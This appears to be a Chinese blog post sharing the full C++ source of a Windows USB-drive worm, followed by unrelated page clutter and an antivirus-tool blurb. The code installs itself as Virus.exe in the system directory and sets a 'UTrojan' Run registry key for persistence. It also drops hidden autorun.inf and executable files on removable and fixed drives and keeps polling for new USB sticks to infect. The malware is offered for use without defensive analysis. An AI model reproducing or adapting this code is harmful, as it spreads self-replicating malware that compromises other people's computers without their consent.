C++ U盘感染程序源码

C++ U盘感染程序源码

print?#include "stdafx.h"
#include <stdio .h>
#include <windows .h>
HANDLE hMutex;//信号量句柄
DWORD WINAPI infect(LPVOID lpParam);//感染
void Install(void); //安装
void InfectOtherDisk();//感染其它盘
char ExeFile[MAX_PATH];
//==========================================================================
void Install(void)
{
char FilePath[255]={0};
char Explorer[12]="explorer ";
HKEY AutoStart;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
if(GetSystemDirectory(FilePath,254) == 0)
{
return;
}
strcat(FilePath, "\\Virus.exe");
CopyFile(ExeFile, FilePath, true);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_ALL_ACCESS, &AutoStart);
RegSetValueEx(AutoStart, // subkey handle
"UTrojan", // value name
0, // must be zero
REG_SZ, // value type
(LPBYTE) FilePath, // pointer to value data
strlen(FilePath) + 1); // length of value data
RegCloseKey(AutoStart);
strcpy(FilePath,ExeFile); //now use FilePath[] as temp
FilePath[3]='\0';
strcat(Explorer,FilePath);
CreateProcess( NULL, //open the directory of U-stick as usual
Explorer,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi );
return;
}
//==========================================================================
DWORD WINAPI infect(LPVOID lpParam)
{
char Drives[255];
int DriveType;
char *pDrive=0;
char FilePath[25];
FILE *AutoRun;
while(true)
{
memset(Drives,0,255);
memset(FilePath,0,25);
pDrive=Drives;
DriveType=0;
AutoRun=NULL;
GetLogicalDriveStrings(254,Drives);
while(pDrive[0]!=NULL)
{
DriveType=GetDriveType(pDrive);
if(DriveType!=DRIVE_REMOVABLE)
{
pDrive+=4;
continue;
}
strcpy(FilePath,pDrive);
strcat(FilePath,"Virus.exe");
SetFileAttributes(FilePath,FILE_ATTRIBUTE_NORMAL);
DeleteFile(FilePath);
CopyFile(ExeFile, FilePath,false);
SetFileAttributes(FilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
strcpy(FilePath,pDrive);
strcat(FilePath,"autorun.inf");
SetFileAttributes(FilePath,FILE_ATTRIBUTE_NORMAL);
DeleteFile(FilePath);
AutoRun=fopen(FilePath,"w+");
if(AutoRun!=NULL)
{
fputs("[AutoRun]\n",AutoRun);
fputs("open=Virus.exe\n",AutoRun);
fputs("shellexecute=Virus.exe\n",AutoRun);
fputs("shell\\Auto\\command=Virus.exe",AutoRun);
}
fclose(AutoRun);
SetFileAttributes(FilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
pDrive+=4;
}
Sleep(3000); //every 3sec to detect whether a U-stick exits
}
return 0;
}
//==========================================================================
void InfectOtherDisk(void)
{
char Drives[255];
int DriveType;
char *pDrive=0;
char AppFilePath[25];
char InfFilePath[25];
memset(Drives,0,255);
memset(AppFilePath,0,25);
memset(InfFilePath,0,25);
pDrive=Drives;
DriveType=0;
GetLogicalDriveStrings(254,Drives);
while(pDrive[0]!=NULL)
{
DriveType=GetDriveType(pDrive);
if(DriveType==DRIVE_FIXED)
{
strcpy(AppFilePath,pDrive);
strcpy(InfFilePath,pDrive);
strcat(AppFilePath,"Virus.exe");
strcat(InfFilePath,"autorun.inf");
CopyFile(ExeFile,AppFilePath, true);
SetFileAttributes(AppFilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
CopyFile("autorun.inf",InfFilePath,true);
SetFileAttributes(InfFilePath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
pDrive+=4;
}
else
{
break;
}
}
}
//==========================================================================
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TOD Place code here.
int DriveType;
GetModuleFileName(NULL,ExeFile,MAX_PATH);//得到此程序的路径
if((hMutex=CreateMutex(NULL,true,"UTrojan"))==NULL)
{
return 0;
}
DriveType=GetDriveType(NULL);
if(DriveType==DRIVE_REMOVABLE)
{
Install();
InfectOtherDisk();
ReleaseMutex(hMutex);
return 0;
}
else if (DriveType==DRIVE_FIXED)
{
InfectOtherDisk();
CreateThread(NULL,NULL,infect,NULL,NULL,NULL);
return 0;
}
else
{
return 0;
}
}
</windows></stdio>
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一款可以自已定制病毒特征库的杀毒软件,可以用此软件变种为任意的病毒专杀工具。界面及病毒特征库均可自行定制编辑,支持最大100个线程扫描文件,杀毒方式可自行设定,支持对每一种病毒特征码设置一种杀毒方式。采用文件二进制比对的方式查杀电脑上的文件,可以对电脑文件中含有病毒特征码的文件执行删除文件、清除文件病毒码字节、用空格替换文件病毒码字节、用0x00替换文件病毒码字节,用指定字符替换文件病毒码字节等等杀毒方式。病毒特征码可以资源共享。 目前版本的实质为:多线程文件内容比对查找及修改替换工具。程序未加入主动防御、恶意行为拦截等功能,程序特别适合作为病毒专杀工具,可以对程序作小的改动即可实现变种。 本程序规模不大,易读懂,程序全为业余书写,几乎没有经过什么测试,可能存在许多错误。软件在www.csdn.net首页的“创新无极限,软件你来选”中申报成功(开源类),请下载了源码的用户在2010年1月1日到2010年1月21日期间投此软件一票,以示对作者开源的支持。 作者开源的另一作品“文本语音朗读组件”全套VC++源码,也欢迎用户下载并投作者一票。你可以对上面两款软件源码重新改进形成功能各异的属于你的作品。 作者已没有时间对上述程序进行深度开发和升级,只是希望

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值